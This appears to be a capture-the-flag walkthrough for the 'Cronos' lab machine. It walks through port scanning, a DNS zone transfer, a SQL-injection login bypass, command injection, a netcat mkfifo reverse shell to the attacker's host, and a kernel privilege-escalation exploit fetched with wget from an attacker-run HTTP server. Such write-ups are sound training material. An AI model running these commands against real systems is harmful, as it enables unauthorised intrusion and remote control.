Target machine: 10.10.10.13(OS: linux)
Kali linux: 10.10.16.44
Firstly, detect the open ports:
nmap -sT -p- --min-rate 10000 -oA openports 10.10.10.13
3 ports is open, detect the detailed services:
namp -sV -sC -p22.53.80 -Pn -oA services 10.10.10.13
So we can conduct the relation of ports and services as following:
As the target machine provides http service, try to access
Default apache web page, nothing new. So try to brute force
http://10.10.10.13/ with dirbuster. After brute force for a period time, we have not found anything new.
As the target machine owns DNS service. It is common to check zone transfer with
dig. As we can have a guess of the dns domain of
cronos.htb. So zone transfer can be checked by:
dig axfr @10.10.10.13 cronos.htb
An interestring domain name
admin.cronos.htb is found. So add an entry into
Try to access
admin.cronos.htb in the browser, a login web page is displayed. Yep, it is what we want. It seems that the login is quite simple. Try to login with sql injection with the username of
admin' or '1' = '1, the password can be anything.
Magic! We are in. It seems that it is a network tool. However, it seems that it has exposed the ability to execute command remotely. Have a test of
The result is
www-data. Obviously, the command can executed properly. Now try to reverse the shell. Try to listen to port
1234 by nc in our kali:
nc -lvnp 1234
Then use the bash reverse shell command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.44 1234 >/tmp/f
Wait for serveral seconds, shell is return. Wonderful!
Try to obtain a tty terminal:
python -c "import pty;pty.spawn('/bin/sh')"
Obviously, the user role can be obtained. Go the
home folder and
ls， then go into the user folder to get user.txt.
It's time to get the root role. See the kernel of the target machine:
Google linux kernel privilege escalation, find a payload
Start a http server to provide the payload, name it as exploit.c:
pythoon -m SimpleHTTPServer 80
There are serveal ways to provide http file services, including: php, apache, python, etc. Pyhton is quite convenient. Then download the
exploit.c in the target machine:
Then try to compile it with gcc. Opps, gcc seems has not been installed in the target machine. In general, linux will install gcc. Whatever, compile the
exploit.c in kali:
gcc exploit.c -o exploit
Remember to download the file from a folder with permission, just like
cd /tmpwget http://10.10.16.44/exploit
Make sure to have execution perssion by:
chmod +x exploit
Just execute it by
./exploit. Wow, now see whoami.
The target machine is quite straitforward. The basic point is the zone transfer of DNS exploit. And other steps is not difficult with basic knowledges including: sql injection, reverse shell, etc.
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